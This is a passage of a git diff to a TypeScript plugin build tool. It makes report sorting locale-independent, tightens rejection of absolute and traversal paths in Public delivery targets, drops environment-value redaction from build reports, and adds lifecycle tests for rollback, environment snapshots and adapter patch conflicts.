内部控制流且绝不写入报告。 */ + let applyFailure: unknown; + try { + await adapter.apply(context, extensionRuntime.built as never); + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + applyFailed = true; + applyFailure = error; + } + /** 无论 apply 成功或失败,都观察已登记的全部异步贡献。 */ + const artifactResults = await Promise.allSettled(pendingArtifacts); + /** 配置顺序和 emit 顺序共同决定第一个需要传播的贡献失败。 */ + const artifactFailure = artifactResults.find((result): result is PromiseRejectedResult => result.status === 'rejected'); + if (applyFailed) + throw applyFailure; + if (artifactFailure) + throw artifactFailure.reason; + if (documentPatchRejected) + throw new Error('Adapter submitted a rejected Document patch.'); } /** document 表示当前 Platform 在 Adapter 完成后的最终结构化 Document。 */ diff --git a/packages/core/src/reports.ts b/packages/core/src/reports.ts index 4e72399..5d52ab8 100644 --- a/packages/core/src/reports.ts +++ b/packages/core/src/reports.ts @@ -1,4 +1,4 @@ -import { stableJson } from './serialization.js'; +import { compareCodeUnits, stableJson } from './serialization.js'; import { redactReportValue, sanitizeReportText, @@ -41,7 +41,7 @@ export interface BuildResultInput { * 对单个 DeliveryUnitReport 清理文本并稳定排序 Artifact。 * * @param unit 尚未进入最终 BuildResult 的交付单元报告。 - * @param options 路径和环境值脱敏选项。 + * @param options 工程路径脱敏选项。 * @returns 不含绝对路径和内容字节的确定性报告副本。 */ function normalizeDeliveryUnitReport( @@ -55,7 +55,7 @@ function normalizeDeliveryUnitReport( ...artifact, path: sanitizeReportText(artifact.path, options), owner: sanitizeReportText(artifact.owner, options), - })).sort((a, b) => a.path.localeCompare(b.path, 'en') || a.owner.localeCompare(b.owner, 'en')), + })).sort((a, b) => compareCodeUnits(a.path, b.path) || compareCodeUnits(a.owner, b.owner)), }; } @@ -63,7 +63,7 @@ function normalizeDeliveryUnitReport( * 创建供 CLI、Watch 和公开运行时共同使用的确定性 Schema v1 BuildResult。 * * @param input 生命周期中按任意发现顺序收集的报告数据。 - * @param options 程序化结果也必须应用的路径和环境值脱敏边界。 + * @param options 程序化结果也必须应用的工程路径脱敏边界。 * @returns 已按所有稳定键排序且不包含时间戳的构建结果。 */ export function createBuildResult( @@ -71,23 +71,23 @@ export function createBuildResult( options: ReportRedactionOptions = {}, ): BuildResult { /** 去重并按字典序固定的 Platform ID 列表。 */ - const platforms = [...new Set(input.platforms)].sort((a, b) => a.localeCompare(b, 'en')); + const platforms = [...new Set(input.platforms)].sort(compareCodeUnits); /** 按 Platform ID 排序的已验证 Platform 详情。 */ - const platformDetails = input.platformDetails.map(platform => ({ ...platform })).sort((left, right) => left.id.localeCompare(right.id, 'en')); + const platformDetails = input.platformDetails.map(platform => ({ ...platform })).sort((left, right) => compareCodeUnits(left.id, right.id)); /** 按种类和 ID 排序且不包含来源路径的已验证 Component 摘要。 */ - const components = input.components.map(component => ({ ...component })).sort((left, right) => left.kind.localeCompare(right.kind, 'en') || left.id.localeCompare(right.id, 'en')); + const components = input.components.map(component => ({ ...component })).sort((left, right) => compareCodeUnits(left.kind, right.kind) || compareCodeUnits(left.id, right.id)); /** 按名称排序的已验证 Extension 摘要。 */ - const extensions = input.extensions.map(extension => ({ ...extension })).sort((left, right) => left.name.localeCompare(right.name, 'en')); + const extensions = input.extensions.map(extension => ({ ...extension })).sort((left, right) => compareCodeUnits(left.name, right.name)); /** 按 Platform、逻辑 ID 和路径排序的已验证相对 Document 摘要。 */ - const documents = input.documents.map(document => ({ ...document })).sort((left, right) => left.platform.localeCompare(right.platform, 'en') - || left.id.localeCompare(right.id, 'en') - || left.path.localeCompare(right.path, 'en')); + const documents = input.documents.map(document => ({ ...document })).sort((left, right) => compareCodeUnits(left.platform, right.platform) + || compareCodeUnits(left.id, right.id) + || compareCodeUnits(left.path, right.path)); /** 按 Platform、单元 ID、角色和类型排序的交付单元报告。 */ const deliveryUnits = input.deliveryUnits.map(unit => normalizeDeliveryUnitReport(unit, options)).sort((a, b) => - a.platform.localeCompare(b.platform, 'en') - || a.id.localeCompare(b.id, 'en') - || a.role.localeCompare(b.role, 'en') - || a.type.localeCompare(b.type, 'en')); + compareCodeUnits(a.platform, b.platform) + || compareCodeUnits(a.id, b.id) + || compareCodeUnits(a.role, b.role) + || compareCodeUnits(a.type, b.type)); return { schemaVersion: '1', command: input.command, @@ -109,26 +109,9 @@ export function createBuildResult( * 把 BuildResult 深度脱敏并序列化为单个、字节稳定的 JSON 文档。 * * @param result 已完成结构化排序的 Schema v1 BuildResult。 - * @param options 需要额外隐藏的工程根和环境值。 + * @param options 需要额外隐藏的工程路径边界。 * @returns 两空格缩进、单个尾随换行且键顺序稳定的 JSON。 */ export function serializeBuildResult(result: BuildResult, options: ReportRedactionOptions = {}): string { - /** 不能被同名环境值破坏的 Schema 枚举、Platform 和 DeliveryUnit 身份。 */ - const protectedValues = new Set([ - result.schemaVersion, - result.command, - ...result.platforms, - ...result.platformDetails.flatMap(platform => [platform.id, platform.apiVersion, platform.deliveryType]), - ...result.components.flatMap(component => [component.kind, component.id]), - ...result.extensions.flatMap(extension => [extension.name, extension.apiVersion]), - ...result.documents.flatMap(document => [document.platform, document.id, document.format, document.owner]), - ...result.deliveryUnits.flatMap(unit => [unit.platform, unit.id, unit.role, unit.type]), - ...result.diagnostics.flatMap(diagnostic => [diagnostic.code, diagnostic.severity, diagnostic.phase]), - ...result.compatibility.map(entry => entry.level), - ...result.metadata.map(entry => entry.disposition), - ]); - /** 从环境脱敏集合排除协议身份,避免 CODEX 等宿主变量把合法 Platform ID 改写。 */ - const environment = Object.fromEntries(Object.entries(options.environment ?? process.env) - .filter(([, value]) => value === undefined || !protectedValues.has(value))); - return stableJson(redactReportValue(result, { ...options, environment })); + return stableJson(redactReportValue(result, options)); } diff --git a/packages/core/src/scanner.ts b/packages/core/src/scanner.ts index 70cc0b6..04726c5 100644 --- a/packages/core/src/scanner.ts +++ b/packages/core/src/scanner.ts @@ -2,6 +2,7 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; import { parseDocument } from 'yaml'; import { DiagnosticCollector } from './diagnostics.js'; +import { compareCodeUnits } from './serialization.js'; import type { AcpluginPlatform, DiagnosticInput, JsonObject, JsonValue } from './contracts.js'; import type { AgentCapability, @@ -289,7 +290,7 @@ function stringArray( ): string[] { if (value === undefined) return []; - if (!Array.isArray(value) || value.some(item => typeof item !== 'string' || item === '')) { + if (!Array.isArray(value) || value.some(item => typeof item !== 'string' || item.trim() === '')) { diagnostics.error('FRONTMATTER_STRING_ARRAY', `${fieldPath.join('.')} must be an array of non-empty strings.`, { phase: 'discover', location: { path: sourcePath }, fieldPath, }); @@ -433,7 +434,7 @@ function normalizeJsonValue( } /** 按键名排序使相同语义的 YAML 字段顺序得到同一工程快照。 */ const result: Record = {}; - for (const key of Object.keys(value).sort((left, right) => left.localeCompare(right, 'en'))) { + for (const key of Object.keys(value).sort(compareCodeUnits)) { /** 当前普通对象字段的未知原始值。 */ const normalized = normalizeJsonValue((value as Record)[key], [...fieldPath, key], sourcePath, diagnostics, ancestors); if (normalized === undefined) { @@ -484,7 +485,7 @@ async function parsePlatforms( const configured = new Map(config.platforms.map(item => [item.platform.id, item.platform])); /** 仅写入完成 Core 与 Platform 双层校验的专属字段。 */ const result: Record> = {}; - for (const id of Object.keys(data).sort((left, right) => left.localeCompare(right, 'en'))) { + for (const id of Object.keys(data).sort(compareCodeUnits)) { /** 当前 ID 对应且能够执行专属字段校验的 Platform。 */ const platform = configured.get(id); if (!platform) { @@ -549,7 +550,7 @@ async function parsePlatforms( */ async function listDirectory(directory: string): Promise { try { - return (await fs.readdir(directory, { withFileTypes: true })).sort((a, b) => a.name.localeCompare(b.name, 'en')); + return (await fs.readdir(directory, { withFileTypes: true })).sort((a, b) => compareCodeUnits(a.name, b.name)); } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { if ((error as NodeJS.ErrnoException).code === 'ENOENT') return []; @@ -922,9 +923,14 @@ function finalizePublicFiles( /** 无目标冲突且可以安全交给 Artifact Registry 的文件。 */ const result: PublicFile[] = []; for (const file of files) { - /** 所有目标统一为无开头斜杠的 POSIX 相对路径。 */ - const targetPath = file.targetPath.split(path.sep).join('/').replace(/^\.\//, ''); - if (targetPath === '' || path.posix.isAbsolute(targetPath) || targetPath.split('/').includes('..')) { + /** 先按两种平台语义拒绝绝对输入,避免规范化掩盖 Win32 drive/UNC。 */ + const unsafe = file.targetPath.includes('\0') + || path.posix.isAbsolute(file.targetPath) + || path.win32.isAbsolute(file.targetPath) + || file.targetPath.split(/[\\/]/u).includes('..'); + /** 所有安全目标统一为规范 POSIX 相对路径。 */ + const targetPath = path.posix.normalize(file.targetPath.replaceAll('\\', '/')).replace(/^\.\//u, ''); + if (unsafe || targetPath === '.' || path.posix.isAbsolute(targetPath) || targetPath.split('/').includes('..')) { diagnostics.error('PUBLIC_TARGET_INVALID', 'Public target must be a non-empty relative path.', { phase: 'discover', location: { path: relative(config.root, file.sourcePath) }, }); @@ -947,7 +953,7 @@ function finalizePublicFiles( targets.set(key, normalized); result.push(normalized); } - return result.sort((left, right) => left.targetPath.localeCompare(right.targetPath, 'en')); + return result.sort((left, right) => compareCodeUnits(left.targetPath, right.targetPath)); } /** @@ -1044,10 +1050,8 @@ function validateGraph(components: readonly Component[], diagnostics: Diagnostic } visiting.add(node); stack.push(node); - for (const target of edges.get(node) ?? []) { - if (byKey.has(target)) - visit(target); - } + for (const target of edges.get(node) ?? []) + visit(target); stack.pop(); visiting.delete(node); visited.add(node); diff --git a/packages/core/src/serialization.ts b/packages/core/src/serialization.ts index 7da1065..3420ea4 100644 --- a/packages/core/src/serialization.ts +++ b/packages/core/src/serialization.ts @@ -1,5 +1,18 @@ import { stringify } from 'yaml'; +/** + * 按 ECMAScript UTF-16 code unit 比较字符串,不依赖宿主 locale 或 ICU 数据。 + * + * @param left 左侧字符串。 + * @param right 右侧字符串。 + * @returns 与 Array.sort 约定一致的 -1、0 或 1。 + */ +export function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + /** * 递归复制可序列化值,并按键名排序对象、移除值为 undefined 的字段。 * @@ -14,7 +27,7 @@ export function sortObject(value: unknown): unknown { if (value !== null && typeof value === 'object') { return Object.fromEntries(Object.entries(value as Record) .filter(([, child]) => child !== undefined) - .sort(([a], [b]) => a.localeCompare(b, 'en')) + .sort(([a], [b]) => compareCodeUnits(a, b)) .map(([key, child]) => [key, sortObject(child)])); } return value; diff --git a/packages/core/test/config.test.ts b/packages/core/test/config.test.ts index 7aac511..30b4885 100644 --- a/packages/core/test/config.test.ts +++ b/packages/core/test/config.test.ts @@ -179,4 +179,52 @@ describe('final configuration schema', () => { 'CONFIG_PATH_ESCAPE', ])); }); + + it('normalizes Public delivery targets without changing source-path semantics', () => { + /** 反斜杠来源仍由当前宿主解释,交付目标则统一为 POSIX。 */ + const result = resolve({ + name: 'portable-public', + version: '1.0.0', + description: 'Portable Public targets.', + public: { copy: [{ from: 'source\\logo.svg', to: 'assets\\logo.svg' }] }, + }); + + expect(result.diagnostics).toEqual([]); + expect(result.config?.public.copy).toEqual([{ from: 'source\\logo.svg', to: 'assets/logo.svg' }]); + }); + + it.each([ + ['Win32 drive target', 'C:\\outside\\logo.svg'], + ['Win32 slash drive target', 'C:/outside/logo.svg'], + ['UNC target', '\\\\server\\share\\logo.svg'], + ['POSIX absolute target', '/outside/logo.svg'], + ['backslash traversal target', 'assets\\..\\logo.svg'], + ['mixed traversal target', 'assets\\../logo.svg'], + ['NUL target', 'assets/\0/logo.svg'], + ])('rejects a non-portable Public %s', (_label, target) => { + /** 每种目标语法都必须在配置阶段得到相同稳定边界诊断。 */ + const result = resolve({ + name: 'invalid-public-target', + version: '1.0.0', + description: 'Invalid Public target.', + public: { copy: [{ from: 'logo.svg', to: target }] }, + }); + + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CONFIG_PUBLIC_RULE_ESCAPE', + fieldPath: ['public', 'copy', 0], + })); + }); + + it('rejects Win32 absolute Public sources even on a POSIX host', () => { + /** 来源使用宿主语义解析,但跨宿主绝对输入始终属于不可信配置。 */ + const result = resolve({ + name: 'invalid-public-source', + version: '1.0.0', + description: 'Invalid Public source.', + public: { copy: [{ from: 'C:\\outside\\logo.svg', to: 'assets/logo.svg' }] }, + }); + + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'CONFIG_PUBLIC_RULE_ESCAPE' })); + }); }); diff --git a/packages/core/test/diagnostics.test.ts b/packages/core/test/diagnostics.test.ts index 42e65e0..c6721bc 100644 --- a/packages/core/test/diagnostics.test.ts +++ b/packages/core/test/diagnostics.test.ts @@ -1,10 +1,12 @@ import { describe, expect, it } from 'vitest'; import { + compareCodeUnits, createBuildResult, DiagnosticCollector, internalPlatformId, redactReportValue, serializeBuildResult, + stableJson, type BuildResultInput, } from '../src/index.js'; @@ -96,18 +98,31 @@ function reportInput(reversed: boolean): BuildResultInput { } describe('stable BuildResult report', () => { + it('uses fixed UTF-16 code-unit order for Unicode strings and stable integer-shaped keys', () => { + /** 覆盖 ASCII、组合字符、预组合字符与代理对的乱序字符串。 */ + const values = ['😀', 'é', 'z', 'e\u0301']; + expect(values.sort(compareCodeUnits)).toEqual(['e\u0301', 'z', 'é', '😀']); + + /** 插入顺序不同但语义相同的对象;整数形 key 最终遵循 ECMAScript 固定顺序。 */ + const first = { '😀': 6, '10': 2, 'é': 5, '2': 1, 'z': 4, 'e\u0301': 3 }; + /** 与第一个对象字段相同但插入顺序不同的对照输入。 */ + const second = { 'e\u0301': 3, 'z': 4, '2': 1, 'é': 5, '10': 2, '😀': 6 }; + expect(stableJson(first)).toBe(stableJson(second)); + expect(Object.keys(JSON.parse(stableJson(first)) as object)).toEqual(['2', '10', 'e\u0301', 'z', 'é', '😀']); + }); + it('produces byte-identical single-document JSON for different discovery orders', () => { /** 正向发现顺序产生的 JSON。 */ - const first = serializeBuildResult(createBuildResult(reportInput(false)), { environment: {} }); + const first = serializeBuildResult(createBuildResult(reportInput(false))); /** 反向发现顺序产生的 JSON。 */ - const second = serializeBuildResult(createBuildResult(reportInput(true)), { environment: {} }); + const second = serializeBuildResult(createBuildResult(reportInput(true))); expect(first).toBe(second); expect(first.endsWith('\n')).toBe(true); expect(JSON.parse(first)).toMatchObject({ schemaVersion: '1', command: 'inspect', success: true }); }); - it('contains no timestamp, absolute path, credential, environment value, or Artifact bytes', () => { + it('contains no timestamp, absolute path, credential, or Artifact bytes', () => { /** 以可疑 owner 和路径验证最终 serializer 的恶意报告。 */ const result = createBuildResult({ command: 'build', @@ -135,8 +150,8 @@ describe('stable BuildResult report', () => { compatibility: [], metadata: [], }); - /** 使用显式环境值执行深度脱敏后的 JSON。 */ - const json = serializeBuildResult(result, { environment: { REPORT_TOKEN: 'report-secret' } }); + /** 执行结构化凭据与路径脱敏后的 JSON。 */ + const json = serializeBuildResult(result); expect(json).not.toContain('/Users/example'); expect(json).not.toContain('report-secret'); @@ -145,38 +160,42 @@ describe('stable BuildResult report', () => { expect(json).toContain(''); }); - it('redacts custom environment secrets from the programmatic BuildResult itself', () => { - /** 进入所有自由文本报告字段的自定义环境 Secret。 */ - const secret = 'programmatic-secret-value'; - /** 尚未经过 JSON serializer 的公开程序化构建结果。 */ - const result = createBuildResult({ - ...reportInput(false), - diagnostics: [{ - code: 'SECRET_WARNING', - severity: 'warning', - message: `Diagnostic contains ${secret}.`, - phase: 'validate', - hint: `Do not expose ${secret}.`, - }], - compatibility: [{ - platform: CODEX_PLATFORM, - subject: 'skill:secret', - capability: 'component', - level: 'degraded', - reason: `Compatibility contains ${secret}.`, - }], - metadata: [{ - platform: CODEX_PLATFORM, - field: 'description', - disposition: 'omitted', - reason: `Metadata contains ${secret}.`, - }], - }, { environment: { CUSTOM_SECRET: secret } }); - /** 直接 stringify 用于证明调用方无需经过 serializeBuildResult 才获得安全结果。 */ - const programmaticJson = JSON.stringify(result); + it('preserves protocol identities and ordinary text that match environment values', () => { + /** REDACT-1 使用且需要在 finally 中恢复的环境变量。 */ + const environment = { + ACPLUGIN_REDACT_PLATFORM: process.env.ACPLUGIN_REDACT_PLATFORM, + ACPLUGIN_REDACT_UNIT: process.env.ACPLUGIN_REDACT_UNIT, + ACPLUGIN_REDACT_VERSION: process.env.ACPLUGIN_REDACT_VERSION, + }; + try { + process.env.ACPLUGIN_REDACT_PLATFORM = 'claude'; + process.env.ACPLUGIN_REDACT_UNIT = 'plugin'; + process.env.ACPLUGIN_REDACT_VERSION = '1.0.0'; + /** 包含所有环境同字子串的公开程序化构建结果。 */ + const result = createBuildResult({ + ...reportInput(false), + diagnostics: [{ + code: 'VERSION_NOTE', + severity: 'warning', + message: 'Version 1.0.0 builds the claude-code plugin.', + phase: 'validate', + }], + }); + /** 最终 JSON 不得读取环境并改写合法协议字段。 */ + const json = serializeBuildResult(result); - expect(programmaticJson).not.toContain(secret); - expect(programmaticJson).toContain(''); + expect(json).toContain('claude-code'); + expect(json).toContain('plugin'); + expect(json).toContain('1.0.0'); + expect(json).not.toContain(''); + } finally { + for (const [name, value] of Object.entries(environment)) { + if (value === undefined) + delete process.env[name]; + else + process.env[name] = value; + } + } }); }); @@ -186,7 +205,7 @@ describe('arbitrary value redaction', () => { expect(redactReportValue('/private/project/extensions/bridge.txt')).toBe(''); }); - it('removes secret fields, functions, bytes, cycles, temporary roots, and environment values', () => { + it('removes secret fields, functions, bytes, cycles, and temporary roots without guessing environment values', () => { /** 带循环、函数、字节和 Secret 的不可信任意对象。 */ const unsafe: Record = { apiToken: 'top-secret', @@ -196,15 +215,12 @@ describe('arbitrary value redaction', () => { }; unsafe.self = unsafe; /** 递归脱敏后的普通对象快照。 */ - const safe = redactReportValue(unsafe, { - roots: ['/private/root'], - environment: { FIXTURE_SECRET: 'env-secret' }, - }); + const safe = redactReportValue(unsafe, { roots: ['/private/root'] }); /** 稳定字符串形式便于断言原始敏感数据全部消失。 */ const json = JSON.stringify(safe); expect(json).not.toContain('top-secret'); - expect(json).not.toContain('env-secret'); + expect(json).toContain('env-secret'); expect(json).not.toContain('/private/root'); expect(json).toContain(''); expect(json).toContain(''); diff --git a/packages/core/test/documents.test.ts b/packages/core/test/documents.test.ts index 63d1693..0cf6b2f 100644 --- a/packages/core/test/documents.test.ts +++ b/packages/core/test/documents.test.ts @@ -78,6 +78,8 @@ describe('Document Registry', () => { expect(() => registry.patchDocument('extension:other', { document: 'manifest', path: ['config', 'hooks'], value: { enabled: false }, })).toThrow('already owned'); + /** 失败 patch 不得改写首个 owner 已提交的不可变字段。 */ + expect(registry.getDocument('manifest')).toEqual({ config: { hooks: { enabled: true } } }); expect(() => registry.patchDocument('extension:other', { document: 'manifest', path: ['config', 'unknown'], value: true, })).toThrow('does not declare'); @@ -112,7 +114,7 @@ describe('Document Registry', () => { /** 不冲突的 Extension Artifact 带有自己的 owner。 */ const artifact = await registry.emitArtifact('extension:hooks', bytesArtifact('hooks/run.mjs', 'run')); expect(artifact.owner).toBe('extension:hooks'); - expect(registry.artifacts.map(item => item.path)).toEqual(['hooks/run.mjs', 'README.md']); + expect(registry.artifacts.map(item => item.path)).toEqual(['README.md', 'hooks/run.mjs']); }); it('preserves the explicit empty-document emission policy in frozen snapshots', () => { diff --git a/packages/core/test/lifecycle.test.ts b/packages/core/test/lifecycle.test.ts index 6ac73d1..b355818 100644 --- a/packages/core/test/lifecycle.test.ts +++ b/packages/core/test/lifecycle.test.ts @@ -209,6 +209,55 @@ function lifecycleConfig( return resolved.config!; } +/** + * 执行一个在事务交换后由 Platform buildEnd 注入失败的真实 build。 + * + * @param withPreviousOutput 是否预先创建一份必须恢复的完整旧输出。 + * @returns 失败结果、输出目录和可观察的 buildEnd 状态。 + */ +async function buildEndRollbackFixture(withPreviousOutput: boolean) { + /** 当前事务回滚场景独占的工程根。 */ + const root = await temporaryRoot(); + /** resolveConfig 缺省管理的完整输出目录。 */ + const outDir = path.join(root, 'dist'); + if (withPreviousOutput) { + await fs.mkdir(path.join(outDir, 'previous', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'previous', 'plugin', 'version.txt'), 'old'); + } + /** 记录 buildEnd 在抛错前收到的事务状态。 */ + const endStatuses: string[] = []; + /** 能生成完整主单元、但在 buildEnd 中失败的虚拟 Platform。 */ + const platform = definePlatform({ + id: withPreviousOutput ? 'rollback-existing' : 'rollback-empty', + apiVersion: '1', + deliveryType: 'plugin', + /** prepare 创建事务将尝试提交的新版本。 */ + prepare: () => ({ documents: [], artifacts: [bytesArtifact('version.txt', 'new')] }), + /** generateBundle 透传已校验的新版本 Artifact。 */ + generateBundle: context => ({ + id: 'plugin', role: 'primary', type: 'plugin', artifacts: context.artifacts, + }), + /** validateBundle 证明失败发生在候选完成验证之后。 */ + async validateBundle(context) { + expect(await fs.readFile(path.join(context.candidate.root, 'version.txt'), 'utf8')).toBe('new'); + }, + /** buildEnd 在 swap 后失败,事务必须恢复进入调用前的输出状态。 */ + buildEnd(context) { + endStatuses.push(context.status); + throw new Error('buildEnd rollback fixture'); + }, + }); + + /** 真实 build 命令默认启用 managed output commit。 */ + const result = await executeLifecycle({ + config: lifecycleConfig(root, 'build', [platform], []), + /** 当前 Fixture 不加载作者 TypeScript descriptor。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + return { root, outDir, result, endStatuses }; +} + afterEach(async () => { await Promise.all(temporaryDirectories.splice(0).map(directory => fs.rm(directory, { recursive: true, force: true }))); }); @@ -350,6 +399,66 @@ describe('fixed Core lifecycle', () => { ]); }); + it('shares one frozen environment snapshot across buildStart and buildEnd hooks', async () => { + /** 调用方提供且 Core 必须复制冻结的环境输入。 */ + const suppliedEnvironment = { FIXTURE_ENVIRONMENT: 'stable-value' }; + /** 四个生命周期 Hook 观察到的环境对象引用。 */ + const snapshots: Readonly>[] = []; + /** 同时实现 buildStart/buildEnd 的最小虚拟 Platform。 */ + const platform = definePlatform({ + id: 'environment-platform', + apiVersion: '1', + deliveryType: 'plugin', + /** buildStart 保存只读环境快照。 */ + buildStart(context) { + snapshots.push(context.environment); + }, + /** prepare 创建无扩展点的空 Draft。 */ + prepare: () => ({ documents: [], artifacts: [] }), + /** generateBundle 创建无 Artifact 的合法主单元。 */ + generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), + /** validateBundle 接受当前空候选。 */ + validateBundle: () => undefined, + /** buildEnd 保存与启动阶段相同的环境快照。 */ + buildEnd(context) { + snapshots.push(context.environment); + }, + }); + /** 同时实现 buildStart/buildEnd 且无资源的最小虚拟 Extension。 */ + const extension = defineExtension({ + name: 'environment-extension', + apiVersion: '1', + adapters: [], + /** buildStart 保存只读环境快照。 */ + buildStart(context) { + snapshots.push(context.environment); + }, + /** discover 明确表示当前 Extension 没有资源。 */ + discover: () => undefined, + /** buildEnd 保存与启动阶段相同的环境快照。 */ + buildEnd(context) { + snapshots.push(context.environment); + }, + }); + /** 空工程用于隔离环境 Context 行为。 */ + const root = await temporaryRoot(); + + /** 不提交输出的完整验证结果。 */ + const result = await executeLifecycle({ + config: lifecycleConfig(root, 'validate', [platform], [extension]), + /** 当前 Fixture 不加载作者 TypeScript descriptor。 */ + loadTypeScriptModule: async () => undefined, + environment: suppliedEnvironment, + }); + + expect(result.success).toBe(true); + expect(snapshots).toHaveLength(4); + expect(snapshots.every(snapshot => snapshot === snapshots[0])).toBe(true); + expect(snapshots[0]).not.toBe(suppliedEnvironment); + expect(snapshots[0]).toEqual(suppliedEnvironment); + expect(Object.isFrozen(snapshots[0])).toBe(true); + }); + it('continues later Platforms after failure and appends cleanup errors without replacing it', async () => { /** 故障隔离与逆序清理事件。 */ const events: string[] = []; @@ -395,6 +504,35 @@ describe('fixed Core lifecycle', () => { ])); }); + it('rolls back a swapped build to the previous complete output when buildEnd fails', async () => { + /** 带旧输出的事务失败结果。 */ + const { root, outDir, result, endStatuses } = await buildEndRollbackFixture(true); + + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(endStatuses).toEqual(['success']); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'PLATFORM_BUILD_END_FAILED', platform: 'rollback-existing', severity: 'error', + })); + expect(await fs.readFile(path.join(outDir, 'previous', 'plugin', 'version.txt'), 'utf8')).toBe('old'); + await expect(fs.access(path.join(outDir, 'rollback-existing'))).rejects.toThrow(); + expect((await fs.readdir(root)).filter(name => name.startsWith('.dist.acplugin-'))).toEqual([]); + }); + + it('removes the swapped output when buildEnd fails without a previous output', async () => { + /** 首次构建事务失败结果。 */ + const { root, outDir, result, endStatuses } = await buildEndRollbackFixture(false); + + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(endStatuses).toEqual(['success']); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'PLATFORM_BUILD_END_FAILED', platform: 'rollback-empty', severity: 'error', + })); + await expect(fs.access(outDir)).rejects.toThrow(); + expect((await fs.readdir(root)).filter(name => name.startsWith('.dist.acplugin-'))).toEqual([]); + }); + it('treats resources without an Adapter as strict unsupported and emits no unit', async () => { /** 严格 Platform 和无 Adapter Extension。 */ const events: string[] = []; @@ -425,6 +563,132 @@ describe('fixed Core lifecycle', () => { expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT' })); }); + it('keeps a rejected Document patch sticky when the Adapter catches the owner conflict', async () => { + /** 单一扩展点让第二个 Extension 必然与第一个 owner 冲突。 */ + const events: string[] = []; + /** 暴露唯一 bridge 扩展点的测试 Platform。 */ + const platform = virtualPlatform('sticky-owner', events); + /** 每个 Adapter 都捕获 patch 异常,模拟试图吞掉 Core 拒绝的第三方代码。 */ + const extension = (name: string): AcpluginExtension => defineExtension({ + name, + apiVersion: '1', + /** 非空发现状态确保当前 Extension 进入 Adapter 阶段。 */ + discover: () => ({ enabled: true }), + adapters: [{ + extensionApiVersion: '1', platform: platform.id, platformApiVersion: '1', + /** 捕获 owner 冲突以验证 Core 的粘滞失败状态。 */ + apply(context) { + try { + context.patchDocument({ + document: 'manifest', path: ['extensions', 'bridge'], value: { owner: name }, + }); + } catch { + // 第三方 catch 不能清除 Core 已记录的 sticky invalid 状态。 + } + }, + }], + }); + /** 按给定 Extension 顺序运行一次隔离生命周期。 */ + const run = async (names: readonly string[]) => { + /** 当前顺序测试独占的工程根。 */ + const root = await temporaryRoot(); + /** 按调用方给定顺序创建的 Extension 实例。 */ + const extensions = names.map(name => extension(name)); + return executeLifecycle({ + config: lifecycleConfig(root, 'validate', [platform], extensions), + /** 当前 Fixture 不加载作者 TypeScript descriptor。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + }; + + /** A 先占用扩展点时的粘滞失败结果。 */ + const forward = await run(['owner-a', 'owner-b']); + /** B 先占用扩展点时的粘滞失败结果。 */ + const reverse = await run(['owner-b', 'owner-a']); + expect(forward.success).toBe(false); + expect(reverse.success).toBe(false); + expect(forward.deliveryUnits).toEqual([]); + expect(reverse.deliveryUnits).toEqual([]); + expect(forward.diagnostics).toContainEqual(expect.objectContaining({ + code: 'ADAPTER_DOCUMENT_PATCH_REJECTED', platform: 'sticky-owner', extension: 'owner-b', + })); + expect(reverse.diagnostics).toContainEqual(expect.objectContaining({ + code: 'ADAPTER_DOCUMENT_PATCH_REJECTED', platform: 'sticky-owner', extension: 'owner-a', + })); + }); + + it('keeps distinct extension points configuration-ordered and deterministic', async () => { + /** 执行指定 Extension 顺序并捕获 generateBundle 看到的最终 Document。 */ + const run = async (order: readonly ('alpha' | 'beta')[]) => { + /** 每次执行独占的最终文档快照。 */ + let generated: unknown; + /** 带两个独立 add-only 扩展点的顺序测试 Platform。 */ + const platform = definePlatform({ + id: 'ordered-adapters', + apiVersion: '1', + deliveryType: 'plugin', + /** 初始 Draft 保持两个扩展点都为空。 */ + prepare: () => ({ + documents: [{ + id: 'manifest', path: 'manifest.json', format: 'json', owner: 'platform:ordered-adapters', + value: { slots: {} }, extensionPoints: [['slots', 'alpha'], ['slots', 'beta']], + }], + artifacts: [], + }), + /** 捕获最终文档并创建最小合法主单元。 */ + generateBundle(context) { + generated = context.documents[0]!.value; + return { id: 'plugin', role: 'primary', type: 'plugin', artifacts: [bytesArtifact('manifest.json', stableJson(generated))] }; + }, + /** 当前顺序测试无需额外候选约束。 */ + validateBundle: () => undefined, + }); + /** Adapter 只写自己的点,但记录执行时已可见的其他字段。 */ + const makeExtension = (point: 'alpha' | 'beta'): AcpluginExtension => defineExtension({ + name: `ordered-${point}`, + apiVersion: '1', + /** 非空发现状态激活当前顺序观察 Adapter。 */ + discover: () => ({ enabled: true }), + adapters: [{ + extensionApiVersion: '1', platform: platform.id, platformApiVersion: '1', + /** 记录当前 Draft 可见字段后只写入自己的扩展点。 */ + apply(context) { + /** 当前 Adapter 执行前可见的 owner-merged Document。 */ + const document = context.getDocument<{ slots: Record }>('manifest')!; + context.patchDocument({ + document: 'manifest', path: ['slots', point], value: { saw: Object.keys(document.slots) }, + }); + }, + }], + }); + /** 当前 Extension 顺序独占的工程根。 */ + const root = await temporaryRoot(); + /** 指定顺序执行后的完整生命周期结果。 */ + const result = await executeLifecycle({ + config: lifecycleConfig(root, 'validate', [platform], order.map(makeExtension)), + /** 当前 Fixture 不加载作者 TypeScript descriptor。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + expect(result.success).toBe(true); + return generated; + }; + + /** alpha 后 beta 的首次最终文档。 */ + const forward = await run(['alpha', 'beta']); + /** alpha 后 beta 的重复执行文档。 */ + const forwardAgain = await run(['alpha', 'beta']); + /** beta 后 alpha 的首次最终文档。 */ + const reverse = await run(['beta', 'alpha']); + /** beta 后 alpha 的重复执行文档。 */ + const reverseAgain = await run(['beta', 